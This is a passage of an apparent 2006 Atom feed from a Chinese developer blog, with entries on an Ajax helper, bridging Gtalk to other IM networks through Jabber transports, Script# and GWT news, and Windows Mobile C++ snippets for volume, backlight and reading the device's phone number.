{<BR>&nbsp;&nbsp;&nbsp;&nbsp;if (req.status == 200 && req.responseXML) {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (callback){callback(req.responseText);}<BR>&nbsp;&nbsp;&nbsp;&nbsp;} else {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;callback('');<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;};<BR>&nbsp;&nbsp;if (typeof(req.onerror) != 'undefined') {<BR>&nbsp;&nbsp;&nbsp;req.onerror = function(e){<BR>&nbsp;&nbsp;&nbsp;&nbsp;callback('');<BR>&nbsp;&nbsp;&nbsp;&nbsp;return false;<BR>&nbsp;&nbsp;&nbsp;};<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;req.send(Send_T);<BR>&nbsp;}else{<BR>&nbsp;&nbsp;alert('您的浏览器不支持 Ajax 请使用 IE 6 以上版本或其他支持 Ajax 的浏览器.');<BR>&nbsp;}<BR>}</P>
<P>调用方法:Ajax_Send(URL,发送的字符串,使用GET或POST方式发送数据,回调函数)</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=287" /> 
	  <id>http://www.openx.cn/default.asp?id=287</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[使用 Gtalk 与 AIM, MSN, Yahoo! 等通信的一种变通做法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-05T14:40:53+08:00</updated>
	  <published>2006-06-05T14:40:53+08:00</published>
		  <summary type="html"><![CDATA[首先，下载<A href="http://psi-im.org/" target=_blank>PSI</A>，这是一个非常不错的Jabber客户端，而且并不需要复杂的设置就可以使用，如果在深入应用中实在有所不明白的，可以翻看一下<A href="http://psi-im.org/wiki/Main_Page" target=_blank>PSI wiki</A>。根据这些，结合界面提示可以很快的设定好使用Google Talk的准备工作。<BR><BR>然后，打开Service Discovery，浏览ursine.ca服务器，那里有所有可使用的通讯协议，如ICQ、MSN、Yahoo!等等，右点其中一个你需要的条目，输入你相应即时通讯软件的帐户名和密码，PSI就可以登录到这个账户内搜索同步你的好友列表和其他资料。比如，我要整合我AIM上的好友，我就右击aim.ursine.ca协议，输入我的账号x1ee和密码，PSI就会导入我这个帐号的联系人表和相关资料。<BR><BR>现在可以关闭PSI，打开Gtalk了，刚才导入的名单将都会如数出现，就可以直接在Gtalk上和AIM、MSN、Yahoo! IM等即时通讯用户连线聊天，还可以直接添加非Gtalk用户，添加格式为[screenname]@[transport.dns.name]，比如我的AIM账号是x1ee，要添加我的AIM账号为联系人的就输入x1ee@aim.ursine.ca 。<BR><BR>关于ursine.ca是什么，只是可使用的其中一个Server而已，并非一定要和我一样的选择。用户可以挑选任意你想使用的Jabber Server来获取相关服务，<A href="http://www.jabber.org/network/" target=_blank>这里</A>有一张完整的列表供用户选择。ursine.ca只是我目前使用的。<BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=286" /> 
	  <id>http://www.openx.cn/default.asp?id=286</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[微软为Ajax 发明C#衍生新脚本语言Script#]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-05T14:10:36+08:00</updated>
	  <published>2006-06-05T14:10:36+08:00</published>
		  <summary type="html"><![CDATA[<P>Ajax 可谓是目前最火爆的Web开发热点之一。微软也专门针对Ajax 推出了自己的框架 Atlas。然而，许多使用C#进行Web开发的程序员却略感郁闷，“Javascript”也许不是他们最喜欢的。也正因此微软架构师 Nikhil Kothari 正在引领团队开发一个名叫“ Script#”的语言，它是微软“#”语言家族的另一个衍生。</P>
<P>据Nikhil Kothari 介绍， Script#语言的编辑器，其实是使 C#言语的编译器生成Javascript,而不是通常的IL（Intermediate&nbsp; Language）。这样做的目的是为了是开发者编写更具有可读性的脚本语言，更好的基于Atlas进行开发。不过目前Script#还没有被整合进Atlas，但这是他们正在努力的方向，并最终整合，为C#开发者打造一个Script#/Atlas开发环境。</P>
<P>想想， Google Web Toolkit (GWT) ,也许许多java开发人员对它会比较有兴趣，这个工具包可以让java程序员不需要写任何HTML和JS就可以轻松地构建一个AJAX应用程序。这个工具包可以把你的java转换成浏览器上的js和html。</P>
<P>所以Script#/Atlas组合将是对google 一个对决。F#&nbsp; VS Javascript ,AtlasVS GWT，C#对决Java，真是一个有趣的话题。不过得益的还是最终开发者，有更多的选择摆在了我们面前。</P>
<P>Nikhil Kothari 的blog: <A href="http://www.nikhilk.net/ScriptSharpIntro.aspx">http://www.nikhilk.net/ScriptSharpIntro.aspx</A></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=285" /> 
	  <id>http://www.openx.cn/default.asp?id=285</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[自己做网络地图：Google推出AJAX开发工具]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-06-01T14:32:42+08:00</updated>
	  <published>2006-06-01T14:32:42+08:00</published>
		  <summary type="html"><![CDATA[<P>Google在周四推出了一个开放版本的AJAX Framework，通过它用户可以构建像Google Maps和Calendar之类的Web应用程序。</P>
<P>这个Google Web Toolkit beta是免费的，它是一个基于java的工具，并能够和任何java开发工具协同工作。 </P>
<P>GWT已经加入到Google的代码库当中，这个代码库包含了很多API和开发工具。Google产品经理Bret Taylor表示，当用户把应用程序部署到产品当中时，GWT编译器只要简单的把用户的java应用程序转换成浏览器支持的JavaScript和HTML就行。 </P>
<P>GWT的系统要求是： </P>
<P>?Java：Sun Java 2运行环境 1.4.2或以上。 </P>
<P>?操作系统：Windows XP，Windows 2000，或Linux W/GTK+2.2.1或以上 </P>
<P>?硬件要求：100MB以上的可用硬盘空间，512MB内存 </P>
<P>而GWT可以从<A href="http://code.google.com/webtoolkit/">http://code.google.com/webtoolkit/</A>中下载。</P>
<P>同时Google还推出了Linux版的GWT，也可以从这个页面下载。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=284" /> 
	  <id>http://www.openx.cn/default.asp?id=284</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[六一快乐~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-06-01T11:34:43+08:00</updated>
	  <published>2006-06-01T11:34:43+08:00</published>
		  <summary type="html"><![CDATA[<P>今天是六一耶~可惜福州天气这几天不怎么地~</P>
<P>小朋友们可要郁闷咯~哈</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#ff0000 size=5>祝:所有小朋友,大朋友,老朋友~六一快乐~ :)</FONT></STRONG></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=283" /> 
	  <id>http://www.openx.cn/default.asp?id=283</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WEB Talk 将更名为 Talk Me]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=6" label="WEB Talk" /> 
	  <updated>2006-05-31T09:01:36+08:00</updated>
	  <published>2006-05-31T09:01:36+08:00</published>
		  <summary type="html"><![CDATA[<P>昨天下午注册了 TalkMe.cn 域名.</P>
<P>这就意味着 WEbTalk 将更名为 TalkMe</P>
<P>进入新的研发阶段.</P>
<P>在开发过程中感觉,想做一个完整的项目还真不容易,一个人挡墙匹马的.</P>
<P>有时候想找人讨论一下想法都没有.</P>
<P>希望有兴趣的朋友可以与我联系呀,一起开发 TalkMe.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=282" /> 
	  <id>http://www.openx.cn/default.asp?id=282</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[WEB Talk将有重大修改.]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=6" label="WEB Talk" /> 
	  <updated>2006-05-30T10:03:32+08:00</updated>
	  <published>2006-05-30T10:03:32+08:00</published>
		  <summary type="html"><![CDATA[<P>WEB Talk 准备跟 MSN Message 和 GTalk进行结合.</P>
<P>使其成为一个基于其他IM平台上的个性IM应用.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=281" /> 
	  <id>http://www.openx.cn/default.asp?id=281</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[修改了日志分类]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=5" label="点点滴滴" /> 
	  <updated>2006-05-30T09:59:15+08:00</updated>
	  <published>2006-05-30T09:59:15+08:00</published>
		  <summary type="html"><![CDATA[<P>修改了原来的 开发 为 网络开发 跟 移动开发.</P>
<P>准备在移动设备上做点研究跟开发工作,主要会基于PPC上做些应用.</P>
<P>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=280" /> 
	  <id>http://www.openx.cn/default.asp?id=280</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[程序改变音量]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-05-30T09:51:04+08:00</updated>
	  <published>2006-05-30T09:51:04+08:00</published>
		  <summary type="html"><![CDATA[<P>这里使用PB中的方法，程序地改变音量。</P>
<P>void SetVolume(DWORD dwVolume)<BR>{</P>
<P>//设置注册表中的音量值<BR>&nbsp;HKEY&nbsp;&nbsp;&nbsp; hkResult = NULL;<BR>&nbsp;DWORD&nbsp;dwSize=0;<BR>&nbsp;DWORD&nbsp;&nbsp; dwDisposition;<BR>&nbsp;int&nbsp;&nbsp;&nbsp;&nbsp; iResult=1;<BR>&nbsp;<BR>&nbsp;if ((iResult=RegCreateKeyEx(HKEY_CURRENT_USER, _T("ControlPanel\\Volume"), (DWORD) 0, TEXT(""), <BR>&nbsp;&nbsp;REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, (LPSECURITY_ATTRIBUTES) NULL, <BR>&nbsp;&nbsp;&hkResult, &dwDisposition)) == ERROR_SUCCESS) <BR>&nbsp;{<BR>&nbsp;&nbsp;dwSize = sizeof(DWORD);<BR>&nbsp;&nbsp;RegSetValueEx(hkResult, _T("Volume"), 0, REG_DWORD, (LPBYTE)&dwVolume, sizeof(DWORD));<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;waveOutSetVolume(0, dwVolume);</P>
<P>&nbsp;&nbsp;<FONT color=#ff0000>UpdateVolumeFromRegistry();</FONT><BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;RegCloseKey(hkResult);<BR>&nbsp;}</P>
<P>void UpdateVolumeFromRegistry()<BR>{<BR>&nbsp;HINSTANCE hLibrary = ::LoadLibrary(_T("coredll.dll"));<BR>&nbsp;<BR>&nbsp;if (NULL == hLibrary)<BR>&nbsp;&nbsp;return;&nbsp;<BR>&nbsp;FARPROC pProc = ::GetProcAddress(hLibrary, _T("<FONT color=#ff0000>AudioUpdateFromRegistry</FONT>"));<BR>&nbsp;<BR>&nbsp;if (NULL == pProc)<BR>&nbsp;{<BR>&nbsp;&nbsp;::FreeLibrary(hLibrary);<BR>&nbsp;&nbsp;return;<BR>&nbsp;}<BR>&nbsp;<BR>&nbsp;Proc_AudioUpdateFromRegistry *pProcAudioUpdateFromRegistry = (Proc_AudioUpdateFromRegistry*)pProc;<BR>&nbsp;<BR>&nbsp;pProcAudioUpdateFromRegistry();</P>
<P>&nbsp;::FreeLibrary(hLibrary);<BR>}</P>
<P>AudioUpdateFromRegistry函数是Coredll.dll中的一个函数，在SDK中未给出函数原型，所以在这里我们从库中Load。</P>
<P>这样就能得到音量设置与系统音量设置同样的效果。</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=279" /> 
	  <id>http://www.openx.cn/default.asp?id=279</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[调节亮度]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-05-30T09:50:27+08:00</updated>
	  <published>2006-05-30T09:50:27+08:00</published>
		  <summary type="html"><![CDATA[<SPAN id=post1><FONT face=宋体>&nbsp;</FONT>
<P>#define REG_BACKLIGHT L"ControlPanel\\Backlight"<BR>#define REG_VAL_BATT_TO L"BatteryTimeout"<BR>#define REG_VAL_AC_TO L"ACTimeout"<BR>#define REG_VAL_BN_TO L"BrightNess"<BR>#define REG_VAL_ACBN_TO L"ACBrightness"</P>
<P>unsigned int OldBattBL=0;<BR>unsigned int OldACBL=0;</P>
<P>void RegOptionBLTimeout( BOOL Disable,DWORD dw1,DWORD dw2)<BR>{<BR>&nbsp;HKEY hKey = 0;<BR>&nbsp;DWORD dwSize;<BR>&nbsp;DWORD dwValue;<BR>&nbsp;HANDLE hBL;</P>
<P>&nbsp;if ( ERROR_SUCCESS == RegOpenKeyEx( HKEY_CURRENT_USER,REG_BACKLIGHT, 0, 0, &hKey ) ) <BR>&nbsp;{</P>
<P>&nbsp;&nbsp;if( Disable ) <BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;&nbsp;RegQueryValueEx( hKey, REG_VAL_BATT_TO,NULL,NULL,(unsigned char*) &OldBattBL,&dwSize );dwSize = 4;RegQueryValueEx( hKey, REG_VAL_AC_TO,NULL,NULL,(unsigned char*) &OldACBL,&dwSize );</P>
<P>&nbsp;&nbsp;//&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;//&nbsp;dwValue = 0xefff ;<BR>&nbsp;&nbsp;//&nbsp;RegSetValueEx( hKey,REG_VAL_BATT_TO,NULL,REG_DWORD,(unsigned char *)&dwValue,dwSize );<BR>&nbsp;&nbsp;//&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;//&nbsp;dwValue = 0xefff ;<BR>&nbsp;&nbsp;//&nbsp;RegSetValueEx( hKey,REG_VAL_AC_TO,NULL,REG_DWORD,(unsigned char *)&dwValue,dwSize );</P>
<P>&nbsp;&nbsp;&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;&nbsp;RegSetValueEx( hKey,REG_VAL_BN_TO,NULL,REG_DWORD,(unsigned char *)&dw1,dwSize );<BR>&nbsp;&nbsp;&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;&nbsp;RegSetValueEx( hKey,REG_VAL_ACBN_TO,NULL,REG_DWORD,(unsigned char *)&dw2,dwSize );<BR>&nbsp;&nbsp;}<BR>&nbsp;&nbsp;else<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;if (OldBattBL)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx( hKey,REG_VAL_BN_TO,NULL,REG_DWORD,(unsigned char *)&OldBattBL,dwSize );<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;if (OldACBL)<BR>&nbsp;&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;dwSize = 4;<BR>&nbsp;&nbsp;&nbsp;&nbsp;RegSetValueEx( hKey,REG_VAL_ACBN_TO,NULL,REG_DWORD,(unsigned char *)&OldACBL,dwSize );<BR>&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;}</P>
<P>&nbsp;&nbsp;RegCloseKey( hKey );<BR>&nbsp;&nbsp;hBL = CreateEvent( NULL, FALSE, FALSE,L"BackLightChangeEvent" );<BR>&nbsp;&nbsp;if( hBL ) <BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;&nbsp;SetEvent(hBL);<BR>&nbsp;&nbsp;&nbsp;CloseHandle( hBL );<BR>&nbsp;&nbsp;}<BR>&nbsp;}<BR>}</P>
<P>//设置</P>
<P>RegOptionBLTimeout(TRUE,m_edit1,m_edit2);</P></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=278" /> 
	  <id>http://www.openx.cn/default.asp?id=278</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[获得本机电话号码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=7" label="移动开发" /> 
	  <updated>2006-05-30T09:49:33+08:00</updated>
	  <published>2006-05-30T09:49:33+08:00</published>
		  <summary type="html"><![CDATA[在SIM卡上有一个IMSI (International Mobile Subscriber Identity )Record，但这个不是电话号码。估计在server端，有电话号码与IMSI相对应，具体Record情况可以参考SIM GSM File System规范。<BR>注意：本文内容来自Windows Mobile Team Blog。代码部分经过测试（在上海移动网络，易通卡），未能获取到电话号码，可能是服务商不提供该服务。感兴趣的朋友可以参考一下。<BR>#include "stdafx.h"<BR>#include "windows.h"<BR>#include "tapi.h"<BR>#include "tsp.h"<BR>#pragma comment(lib,"cellcore.lib")
<P>#define EXIT_ON_NULL(_p)&nbsp;&nbsp;&nbsp;&nbsp; \<BR>&nbsp;&nbsp;&nbsp; if (_p == NULL)&nbsp;&nbsp;&nbsp; \<BR>{&nbsp;&nbsp; \<BR>&nbsp;&nbsp;&nbsp; hr = E_OUTOFMEMORY; \<BR>&nbsp;&nbsp;&nbsp; goto FuncExit; \<BR>} </P>
<P>#define EXIT_ON_FALSE(_f)&nbsp;&nbsp;&nbsp;&nbsp; \<BR>&nbsp;&nbsp;&nbsp; if (!(_f))&nbsp;&nbsp;&nbsp; \<BR>{&nbsp;&nbsp; \<BR>&nbsp;&nbsp;&nbsp; hr = E_FAIL; \<BR>&nbsp;&nbsp;&nbsp; goto FuncExit; \<BR>} </P>
<P>#define MAX(i, j)&nbsp;&nbsp; ((i) &gt; (j) ? (i) : (j))</P>
<P>#define TAPI_API_LOW_VERSION&nbsp;&nbsp; 0x00020000<BR>#define TAPI_API_HIGH_VERSION&nbsp; 0x00020000</P>
<P>#define CAPS_BUFFER_SIZE&nbsp;&nbsp;&nbsp; 512</P>
<P>&nbsp;</P>
<P>HRESULT SHReadLineAddressCaps(LPTSTR szNumber, UINT cchNumber, PDWORD pdwCallFwdModes, UINT nLineNumber)<BR>{<BR>&nbsp;&nbsp;&nbsp; HRESULT&nbsp; hr = E_FAIL;<BR>&nbsp;&nbsp;&nbsp; LRESULT&nbsp; lResult = 0;<BR>&nbsp;&nbsp;&nbsp; HLINEAPP hLineApp;<BR>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp;&nbsp; dwNumDevs;<BR>&nbsp;&nbsp;&nbsp; DWORD&nbsp;&nbsp;&nbsp; dwAPIVersion = TAPI_API_HIGH_VERSION;<BR>&nbsp;&nbsp;&nbsp; LINEINITIALIZEEXPARAMS liep;</P>
<P>&nbsp;&nbsp;&nbsp; DWORD dwTAPILineDeviceID;<BR>&nbsp;&nbsp;&nbsp; const DWORD dwAddressID = nLineNumber - 1;</P>
<P>&nbsp;&nbsp;&nbsp; liep.dwTotalSize = sizeof(liep);<BR>&nbsp;&nbsp;&nbsp; liep.dwOptions&nbsp;&nbsp; = LINEINITIALIZEEXOPTION_USEEVENT;</P>
<P>&nbsp;&nbsp;&nbsp; if (SUCCEEDED(lineInitializeEx(&hLineApp, 0, 0, TEXT("ExTapi_Lib"), &dwNumDevs, &dwAPIVersion, &liep)))<BR>&nbsp;&nbsp;&nbsp; {</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BYTE* pCapBuf = NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwCapBufSize = CAPS_BUFFER_SIZE;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LINEEXTENSIONID&nbsp; LineExtensionID;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LINEDEVCAPS*&nbsp;&nbsp;&nbsp;&nbsp; pLineDevCaps = NULL;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LINEADDRESSCAPS* placAddressCaps = NULL;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pCapBuf = new BYTE[dwCapBufSize];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXIT_ON_NULL(pCapBuf);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLineDevCaps = (LINEDEVCAPS*)pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLineDevCaps-&gt;dwTotalSize = dwCapBufSize;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // Get TSP Line Device ID<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwTAPILineDeviceID = 0xffffffff;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (DWORD dwCurrentDevID = 0 ; dwCurrentDevID &lt; dwNumDevs ; dwCurrentDevID++)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (0 == lineNegotiateAPIVersion(hLineApp, dwCurrentDevID, TAPI_API_LOW_VERSION, TAPI_API_HIGH_VERSION,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &dwAPIVersion, &LineExtensionID))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = lineGetDevCaps(hLineApp, dwCurrentDevID, dwAPIVersion, 0, pLineDevCaps);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (dwCapBufSize &lt; pLineDevCaps-&gt;dwNeededSize)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete[] pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwCapBufSize = pLineDevCaps-&gt;dwNeededSize;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pCapBuf = new BYTE[dwCapBufSize];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXIT_ON_NULL(pCapBuf);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLineDevCaps = (LINEDEVCAPS*)pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pLineDevCaps-&gt;dwTotalSize = dwCapBufSize;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = lineGetDevCaps(hLineApp, dwCurrentDevID, dwAPIVersion, 0, pLineDevCaps);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if ((0 == lResult) &&<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (0 == _tcscmp((TCHAR*)((BYTE*)pLineDevCaps+pLineDevCaps-&gt;dwLineNameOffset), CELLTSP_LINENAME_STRING)))<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwTAPILineDeviceID = dwCurrentDevID;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; } </P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; placAddressCaps = (LINEADDRESSCAPS*)pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; placAddressCaps-&gt;dwTotalSize = dwCapBufSize;</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = lineGetAddressCaps(hLineApp, dwTAPILineDeviceID, dwAddressID, dwAPIVersion, 0, placAddressCaps);</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (dwCapBufSize &lt; placAddressCaps-&gt;dwNeededSize)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; delete[] pCapBuf;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; dwCapBufSize = placAddressCaps-&gt;dwNeededSize;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pCapBuf = new BYTE[dwCapBufSize];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; EXIT_ON_NULL(pCapBuf);</P>
